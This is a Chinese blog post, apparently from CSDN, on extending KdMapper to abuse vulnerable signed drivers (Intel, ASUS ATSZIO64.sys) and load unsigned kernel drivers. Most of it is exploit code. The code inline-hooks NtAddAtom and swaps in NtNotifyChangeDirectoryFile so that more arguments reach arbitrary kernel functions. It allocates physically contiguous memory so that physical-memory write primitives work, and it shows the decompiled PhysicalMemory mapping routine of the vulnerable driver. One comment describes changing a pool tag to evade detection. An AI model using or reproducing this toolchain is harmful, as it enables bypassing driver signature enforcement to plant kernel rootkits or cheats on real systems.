KdMapper扩展中遇到的相关问题

目录

1.背景

2.CallKernelFunction问题及修改 

2.1 相关核心代码

2.2 调试查看

2.3 其它相关执行函数

2.4 执行函数的逻辑

2.5 实际在扩展中的遇到的问题

2.6 关于如何修改

2.7 修改后代码

3.MapDriver分配

3.1 相关原始代码

3.2 使用物理内存读写时导致的问题

3.3解决方案

3.4 实现代码


1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本人在利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。在这其中遇到了两个重要的问题,记录下来以作参考。

2.CallKernelFunction问题及修改 

2.1 相关核心代码

template<typename T, typename ...A>
	bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) 
{
     ......   
    
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    ......
    const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
    ......
    uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
    uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
    *(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;

    static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom");
    ......
    if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
        return false;
    ......
    if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
        return false;
    
    if constexpr (!call_void)
    {
        using FunctionFn = T(__stdcall*)(A...);
        const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
        *out_result = Function(arguments...);
    }
    else 
    {
        using FunctionFn = void(__stdcall*)(A...);
        const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
        Function(arguments...);
    }
    // Restore the pointer/jmp
    WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
    return true;
}

   其原理就是InlineHook系统调用函数NtAddAtom,在NtAddAtom头部跳转至指定的函数,然后在用户层的ntdll中调用相应的系统调用NtAddAtom,之后就可以跳转至内核。

2.2 调试查看

  如图:

  使用命令 ba e1 nt!NtAddAtom在函数下执行断点,然后运行KdMapper,断下后可以发现NtAddAtom的执行代码亦变成跳转到 ExAcquireResourceExclusiveLite,这是代码中执行相关函数的实现。

2.3 其它相关执行函数

  通过搜索可以看到CallKernelFunction的相关执行函数有几个,如下:

  其中除了MmMapLockedPagesSpecifyCache以外,其它的函数参数个数都在四个及以下,MmMapLockedPagesSpecifyCache的执行成功可能是个巧合(后边会做相应的分析)。

2.4 执行函数的逻辑

  在2.1中可以看到内核中inline Hook了NtAddAtom,然后在用户层调用ntdll的NtAddAtom,然后就从用户层进入到内核。但在这个过程中的SSDT调用,系统将用户态的参数复制到内核中是根据SSPT指定的参数个数来复制的,每个系统的调用数据个数获取可以参考文章《WinDbg打印SSDT的参数个数脚本》,可以得出NtAddAtom的参数小于4个。使用IDA查看Win10 x64的NtAddAtom函数如下图,显示参数为3个。

  至于为什么以4个参数为参考,是因为在x64环境下,函数传参数的前四个是用寄存器 rcx,rdx,r8,r9,多于四个才用内存栈。这样来说使用NtAddAtom作跳转只能传递四个参数,多的参数从用户空间到内核空间不会进行复制。

2.5 实际在扩展中的遇到的问题

  在扩展其它漏洞利用时使用了MmAllocatePagesForMdlEx函数,该函数原型如下:

PMDL MmAllocatePagesForMdlEx(
  [in] PHYSICAL_ADDRESS    LowAddress,
  [in] PHYSICAL_ADDRESS    HighAddress,
  [in] PHYSICAL_ADDRESS    SkipBytes,
  [in] SIZE_T              TotalBytes,
  [in] MEMORY_CACHING_TYPE CacheType,
  [in] ULONG               Flags
);

  一共有六个参数,当时直接使用了后边两个参数传递的数据始终不正确,经过调试及分析才发现后两个参数并没有从用户空间传到内核空间。MmMapLockedPagesSpecifyCache的成功真的只是巧合,可能该函数最后两个参数不影响函数的成功。

2.6 关于如何修改

  更改的话只需要将NtAddAtom函数替换成一个参数比较多的native API,且在ntdll.dll中有相关调用的。根据《WinDbg打印SSDT的参数个数脚本》 ,用Windbg调试加IDA分析 ntdll.dll,确定可以使用NtNotifyChangeDirectoryFile,它在Win10下有9个参数。

2.7 修改后代码

template<typename T, typename ...A>
	bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) 
{
     ......   
    
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    ......
    //NtAddAtom参数个数过少,使得用R3到R0时复制的数据少,四个之内使用rcx,rdx,r8和r9,多于四个使用内存栈,因此在使用NtAddAtom作为跳转函数时
    //MmAllocatePagesForMdlEx(6个参数)和MmMapLockedPagesSpecifyCache(6个参数)	会导致后边的参数在进入内核时并未复制,因此而调用失败
    //而NtNotifyChangeDirectoryFileEx有10个参数
    //Win10 有NtNotifyChangeDirectoryFileEx而Win7没有,但Win7有NtNotifyChangeDirectoryFile(9个参数)
    //const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
    const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtNotifyChangeDirectoryFile"));
    ......

    static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtNotifyChangeDirectoryFile");
    ......

    return true;
}

3.MapDriver分配

3.1 相关原始代码

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, 
                             BYTE* data, 
                             ULONG64 param1,
                             ULONG64 param2,
                             bool free, 
                             bool destroyHeader,
                             bool mdlMode, 
                             bool PassAllocationAddressAsFirstParam,
                             mapCallback callback, 
                             NTSTATUS* exitCode) 
{
    ......
    if (mdlMode) {
		kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size, &mdlptr);
	}
	else {
		kernel_image_base = intel_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size);
	}
    ......
    if (!intel_driver::WriteMemory(iqvw64e_device_handle, realBase, (PVOID)((uintptr_t)local_image_base + (destroyHeader ? TotalVirtualHeaderSize : 0)), image_size))
    {
		Log(L"[-] Failed to write local image to remote image" << std::endl);
		kernel_image_base = realBase;
		break;
	}
    ......
    if (!asus_driver::CallKernelFunction(asus_device_handle, &status, address_of_entry_point, (PassAllocationAddressAsFirstParam ? realBase : param1), param2)) {
        Log(L"[-] Failed to call driver entry" << std::endl);
        kernel_image_base = realBase;
        break;
    }
    ......
}

uint64_t kdmapper::AllocMdlMemory(HANDLE iqvw64e_device_handle, uint64_t size, uint64_t* mdlPtr) {
	/*added by psec*/
	LARGE_INTEGER LowAddress, HighAddress;
	LowAddress.QuadPart = 0;
	HighAddress.QuadPart = 0xffff'ffff'ffff'ffffULL;

	uint64_t pages = (size / PAGE_SIZE) + 1;
	auto mdl = intel_driver::MmAllocatePagesForMdl(iqvw64e_device_handle, LowAddress, HighAddress, LowAddress, pages * (uint64_t)PAGE_SIZE);
	if (!mdl) {
		Log(L"[-] Can't allocate pages for mdl" << std::endl);
		return { 0 };
	}

	uint32_t byteCount = 0;
	if (!intel_driver::ReadMemory(iqvw64e_device_handle, mdl + 0x028 /*_MDL : byteCount*/, &byteCount, sizeof(uint32_t))) {
		Log(L"[-] Can't read the _MDL : byteCount" << std::endl);
		return { 0 };
	}

	if (byteCount < size) {
		Log(L"[-] Couldn't allocate enough memory, cleaning up" << std::endl);
		intel_driver::MmFreePagesFromMdl(iqvw64e_device_handle, mdl);
		intel_driver::FreePool(iqvw64e_device_handle, mdl);
		return { 0 };
	}

	auto mappingStartAddress = intel_driver::MmMapLockedPagesSpecifyCache(iqvw64e_device_handle, mdl, nt::KernelMode, nt::MmCached, NULL, FALSE, nt::NormalPagePriority);
	if (!mappingStartAddress) {
		Log(L"[-] Can't set mdl pages cache, cleaning up." << std::endl);
		intel_driver::MmFreePagesFromMdl(iqvw64e_device_handle, mdl);
		intel_driver::FreePool(iqvw64e_device_handle, mdl);
		return { 0 };
	}

	const auto result = intel_driver::MmProtectMdlSystemAddress(iqvw64e_device_handle, mdl, PAGE_EXECUTE_READWRITE);
	if (!result) {
		Log(L"[-] Can't change protection for mdl pages, cleaning up" << std::endl);
		intel_driver::MmUnmapLockedPages(iqvw64e_device_handle, mappingStartAddress, mdl);
		intel_driver::MmFreePagesFromMdl(iqvw64e_device_handle, mdl);
		intel_driver::FreePool(iqvw64e_device_handle, mdl);
		return { 0 };
	}
	Log(L"[+] Allocated pages for mdl" << std::endl);

	if (mdlPtr)
		*mdlPtr = mdl;

	return mappingStartAddress;
}

uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size) {
	if (!size)
		return 0;

	static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag");

	if (!kernel_ExAllocatePool) {
		Log(L"[!] Failed to find ExAllocatePool" << std::endl);
		return 0;
	}

	uint64_t allocated_pool = 0;

	if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size, 'BwtE')) //Changed pool tag since an extremely meme checking diff between allocation size and average for detection....
		return 0;

	return allocated_pool;
}

  可以看到加载指定的驱动文件时根据是否是mdl加载来分配内存,调用的是AllocatePool或者AllocMdlMemory,而这两个函数分配的都是内存虚拟地址是连续的,但物理内存是不连续的,在有些情况下会导致问题。

3.2 使用物理内存读写时导致的问题

  3.1中指中原始的代码分配内存方式,在原kdmapper中未出现问题是因为Intel的漏洞利用是直接读写虚拟地址,例如复制内存代码如下:

bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) {
	if (!destination || !source || !size)
		return 0;

	COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };

	copy_memory_buffer.case_number = 0x33;
	copy_memory_buffer.source = source;
	copy_memory_buffer.destination = destination;
	copy_memory_buffer.length = size;

	DWORD bytes_returned = 0;
	return DeviceIoControl(device_handle, ioctl1, &copy_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}

  因此不会出现问题,是因为直接操作内存。但在其它漏洞利用时,有时是利用物理内存,例如(参考《【转载】利用签名驱动漏洞加载未签名驱动》)ATSZIO64.sys中IDA反汇编的代码:

// MapPhysicalMemory
NTSTATUS __fastcall sub_140005B0C(union _LARGE_INTEGER Offset, unsigned int nSize, PVOID *pAddressMapped, void **hSection)
{
  ULONG_PTR nSizeMapped; // rbx
  NTSTATUS result; // eax
  SIZE_T v9; // r15
  NTSTATUS ntStatus; // eax
  void *hSectionMapped; // rcx
  NTSTATUS ntStatusReturn; // ebx
  NTSTATUS ntStatusMap; // ebx
  union _LARGE_INTEGER SectionOffset; // [rsp+58h] [rbp-39h] BYREF
  ULONG_PTR ViewSize; // [rsp+60h] [rbp-31h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+68h] [rbp-29h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+98h] [rbp+7h] BYREF
  PVOID Object; // [rsp+A8h] [rbp+17h] BYREF
  PVOID BaseAddress; // [rsp+F8h] [rbp+67h] BYREF

  nSizeMapped = nSize;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
  ObjectAttributes.RootDirectory = 0i64;
  ObjectAttributes.SecurityDescriptor = 0i64;
  ObjectAttributes.SecurityQualityOfService = 0i64;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.Length = 48;
  ObjectAttributes.Attributes = 512;
  result = ZwOpenSection(hSection, 7u, &ObjectAttributes);
  BaseAddress = 0i64;
  v9 = (unsigned int)nSizeMapped;
  ViewSize = nSizeMapped;
  SectionOffset = Offset;
  if ( result >= 0 )
  {
    ntStatus = ObReferenceObjectByHandle(*hSection, 7u, 0i64, 0, &Object, 0i64);
    hSectionMapped = *hSection;
    ntStatusReturn = ntStatus;
    if ( ntStatus >= 0 )
    {
      ntStatusMap = ZwMapViewOfSection(
                      hSectionMapped,
                      (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                      &BaseAddress,
                      0i64,
                      v9,
                      &SectionOffset,
                      &ViewSize,
                      ViewShare,
                      0,
                      4u);
      ZwClose(*hSection);
      result = ntStatusMap;
      *pAddressMapped = BaseAddress;
      return result;
    }
    ZwClose(hSectionMapped);
    result = ntStatusReturn;
  }
  *pAddressMapped = 0i64;
  return result;
}

  先把物理内存映射至用户空间,然后对内存进行操作,而这种情况下,读写内存就会出现问题,当操作内存大小大于一个页面时,就不能保证物理地址上的连续在对应的虚拟地址上也是连续的,如下图:

  上图中展示连续的虚拟页面对应的物理页面不连续,同样,连续的物理页面对应的虚拟页面也不一定边结。

  这样就导致一个问题,MapDriver在将驱动文件写入内存中WriteMemory时,使用的物理内存映射的地址,虽是连续的,但实际的虚拟页面可能就只写了第一个,其它的页面没有真正写入数据,这样在调用驱动文件入口函数CallKernelFunction时就会出现,导致BSOD。

3.3解决方案

  使用分配物理页面上连续的分配内存函数MmAllocatePagesForMdlEx和MmAllocateContiguousMemory。使用这些函数后,物理页面是连续的,映射后的虚拟页面也是连续的,同时和物理页面一一对应,这样就不会在写入读取数据时出现问题了。

3.4 实现代码

uint64_t asus_driver::MmAllocateContiguousMemory(HANDLE device_handle, SIZE_T NumberOfBytes)
{
        if (!NumberOfBytes)
                return 0;

        static uint64_t kernel_MmAllocateContiguousMemory = GetKernelModuleExport(device_handle, asus_driver::ntoskrnlAddr, "MmAllocateContiguousMemory");

        if (!kernel_MmAllocateContiguousMemory) {
                Log(L"[!] Failed to find MmAllocateContiguousMemory" << std::endl);
                return 0;
        }

        uint64_t pAddress = 0;

        if (!CallKernelFunction(device_handle, &pAddress, kernel_MmAllocateContiguousMemory, NumberOfBytes, MAXULONG64)) //Changed pool tag since an extremely meme checking diff between allocation size and average for detection....
                return 0;

        return pAddress;
}

uint64_t asus_driver::MmAllocatePagesForMdlEx(HANDLE device_handle, LARGE_INTEGER LowAddress, LARGE_INTEGER HighAddress, LARGE_INTEGER SkipBytes, SIZE_T TotalBytes, nt::MEMORY_CACHING_TYPE CacheType, nt::MEMORY_ALLOCATE_FLAG Flags)
{
        static uint64_t kernel_MmAllocatePagesForMdlEx = GetKernelModuleExport(device_handle, asus_driver::ntoskrnlAddr, "MmAllocatePagesForMdlEx");
        if (!kernel_MmAllocatePagesForMdlEx)
        {
                Log(L"[!] Failed to find MmAllocatePagesForMdlEx" << std::endl);
                return 0;
        }

        uint64_t allocated_pages = 0;

        if (!CallKernelFunction(device_handle, &allocated_pages, kernel_MmAllocatePagesForMdlEx, LowAddress, HighAddress, SkipBytes, TotalBytes, CacheType, Flags))
        {
                Log(L"[!] Failed to CallKernelFunction MmAllocatePagesForMdlEx" << std::endl);
                return 0;
        }

        return allocated_pages;
}

uint64_t kdmapper::AllocContiguousMdlMemory(HANDLE asus_device_handle, uint64_t size, uint64_t* mdlPtr) {
        /*added by psec*/
        LARGE_INTEGER LowAddress, HighAddress, SkipAddress;
        LowAddress.QuadPart = 0;
        HighAddress.QuadPart = 0xffff'ffff'ffff'ffffULL;
        SkipAddress.QuadPart = 0;
        uint64_t pages = (size / PAGE_SIZE) + 1;
        auto mdl = asus_driver::MmAllocatePagesForMdlEx(
                asus_device_handle,
                LowAddress,
                HighAddress,
                SkipAddress,
                pages * (uint64_t)PAGE_SIZE,
                nt::MEMORY_CACHING_TYPE::MmNonCached,
                nt::MEMORY_ALLOCATE_FLAG::MM_ALLOCATE_REQUIRE_CONTIGUOUS_CHUNKS);
        if (!mdl) {
                Log(L"[-] Can't allocate pages for mdl" << std::endl);
                return { 0 };
        }

        uint32_t byteCount = 0;
        if (!asus_driver::ReadMemory(asus_device_handle, mdl + 0x028 /*_MDL : byteCount*/, &byteCount, sizeof(uint32_t))) {
                Log(L"[-] Can't read the _MDL : byteCount" << std::endl);
                return { 0 };
        }

        if (byteCount < size) {
                Log(L"[-] Couldn't allocate enough memory, cleaning up" << std::endl);
                asus_driver::MmFreePagesFromMdl(asus_device_handle, mdl);
                asus_driver::FreePool(asus_device_handle, mdl);
                return { 0 };
        }

        auto mappingStartAddress = asus_driver::MmMapLockedPagesSpecifyCache(asus_device_handle, mdl, nt::KernelMode, nt::MmCached, NULL, FALSE, nt::NormalPagePriority);
        if (!mappingStartAddress) {
                Log(L"[-] Can't set mdl pages cache, cleaning up." << std::endl);
                asus_driver::MmFreePagesFromMdl(asus_device_handle, mdl);
                asus_driver::FreePool(asus_device_handle, mdl);
                return { 0 };
        }

        const auto result = asus_driver::MmProtectMdlSystemAddress(asus_device_handle, mdl, PAGE_EXECUTE_READWRITE);
        if (!result) {
                Log(L"[-] Can't change protection for mdl pages, cleaning up" << std::endl);
                asus_driver::MmUnmapLockedPages(asus_device_handle, mappingStartAddress, mdl);
                asus_driver::MmFreePagesFromMdl(asus_device_handle, mdl);
                asus_driver::FreePool(asus_device_handle, mdl);
                return { 0 };
        }
        Log(L"[+] Allocated pages for mdl" << std::endl);

        if (mdlPtr)
                *mdlPtr = mdl;

        return mappingStartAddress;
}

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, 
                             BYTE* data, 
                             ULONG64 param1,
                             ULONG64 param2,
                             bool free, 
                             bool destroyHeader,
                             bool mdlMode, 
                             bool PassAllocationAddressAsFirstParam,
                             mapCallback callback, 
                             NTSTATUS* exitCode) 
{
    ......
    if (mdlMode) {
        //kernel_image_base = AllocMdlMemory(asus_device_handle, image_size, &mdlptr);
        kernel_image_base = AllocContiguousMdlMemory(asus_device_handle, image_size, &mdlptr);
    }
	else {
        //kernel_image_base = asus_driver::AllocatePool(asus_device_handle, nt::POOL_TYPE::NonPagedPool, image_size);
        kernel_image_base = asus_driver::MmAllocateContiguousMemory(asus_device_handle, image_size);    
    }
    ......
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值